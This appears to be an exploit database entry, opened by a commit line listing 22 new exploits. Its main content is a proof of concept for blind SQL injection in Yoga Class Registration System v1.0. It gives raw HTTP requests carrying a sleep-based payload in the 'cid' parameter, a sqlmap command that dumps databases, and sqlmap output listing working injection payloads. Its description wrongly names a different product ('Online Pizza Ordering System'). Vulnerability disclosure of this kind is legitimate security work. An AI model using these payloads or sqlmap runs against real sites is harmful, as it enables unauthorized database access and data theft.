79023d1f9c
22 changes to exploits/shellcodes/ghdb Password Manager for IIS v2.0 - XSS DLink DIR 819 A1 - Denial of Service D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution Abantecart v1.3.2 - Authenticated Remote Code Execution Bus Pass Management System 1.0 - Cross-Site Scripting (XSS) Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution Employee Performance Evaluation System v1.0 - File Inclusion and RCE GuppY CMS v6.00.10 - Remote Code Execution Human Resources Management System v1.0 - Multiple SQLi ImpressCMS v1.4.3 - Authenticated SQL Injection Lavalite v9.0.0 - XSRF-TOKEN cookie File path traversal MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi Online Diagnostic Lab Management System v1.0 - Remote Code Execution (RCE) (Unauthenticated) PHPGurukul Online Birth Certificate System V 1.2 - Blind XSS SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Translatepress Multilinugal WordPress plugin < 2.3.3 - Authenticated SQL Injection Yoga Class Registration System v1.0 - Multiple SQLi NVFLARE < 2.1.4 - Unsafe Deserialization due to Pickle _camp_ Raspberry Pi camera server 1.0 - Authentication Bypass System Mechanic v15.5.0.61 - Arbitrary Read/Write
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# Exploit Title: Yoga Class Registration System v1.0 - Multiple SQLi
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# Date: 19/03/2023
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# Exploit Author: Abdulhakim Öner
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# Vendor Homepage: https://www.sourcecodester.com
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# Software Link: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html
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# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ycrs.zip
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# Version: 1.0
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# Tested on: Windows, Linux
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## Description
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A Blind SQL injection vulnerability in the "cid" parameter in Online Pizza Ordering System allows remote unauthenticated attackers to dump database through arbitrary SQL commands.
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## Request PoC
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```
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GET /php-ycrs/?p=yclasses%2fregistration&cid=2' HTTP/1.1
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Host: 192.168.1.101
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Referer: http://192.168.1.101/php-ycrs/?p=yclasses%2fview_class&id=2
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Cookie: PHPSESSID=1pbq6ushdtnf0o5oqhdcv81l4v
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```
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This request causes a Fatal Error in the webapp. Adding "'%2b(select*from(select(sleep(10)))a)%2b'" to the end of "cid" parameter, the response to request was 200 status code with message of OK, but 10 seconds later, which indicates that our sleep 10 command works.
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```
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GET /php-ycrs/?p=yclasses%2fregistration&cid=2'%2b(select*from(select(sleep(20)))a)%2b' HTTP/1.1
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Host: 192.168.1.101
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Referer: http://192.168.1.101/php-ycrs/?p=yclasses%2fview_class&id=2
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Cookie: PHPSESSID=1pbq6ushdtnf0o5oqhdcv81l4v
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```
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## Exploit with sqlmap
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Save the request from burp to file
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```
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sqlmap -r sqli.txt -p 'cid' --batch --dbs --level=3 --risk=2
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---snip---
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GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
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sqlmap identified the following injection point(s) with a total of 302 HTTP(s) requests:
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---
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Parameter: cid (GET)
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Type: boolean-based blind
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Title: AND boolean-based blind - WHERE or HAVING clause
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Payload: p=yclasses/registration&cid=2' AND 5068=5068-- JfDq
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Type: error-based
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Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
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Payload: p=yclasses/registration&cid=2' AND (SELECT 3800 FROM(SELECT COUNT(*),CONCAT(0x717a7a6b71,(SELECT (ELT(3800=3800,1))),0x7170787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hjLV
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Type: time-based blind
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Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
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Payload: p=yclasses/registration&cid=2' AND (SELECT 6005 FROM (SELECT(SLEEP(5)))kQyZ)-- btnY
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---
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[16:00:10] [INFO] the back-end DBMS is MySQL
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web application technology: Apache 2.4.54, PHP 8.2.0
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---snip---
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```
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## The "id" parameter in "/php-ycrs/?p=yclasses%2fview_class&id=1" and "/php-ycrs/admin/?page=classes%2fmanage_class&id=2" are also vulnerable. It can be exploited in the same way. |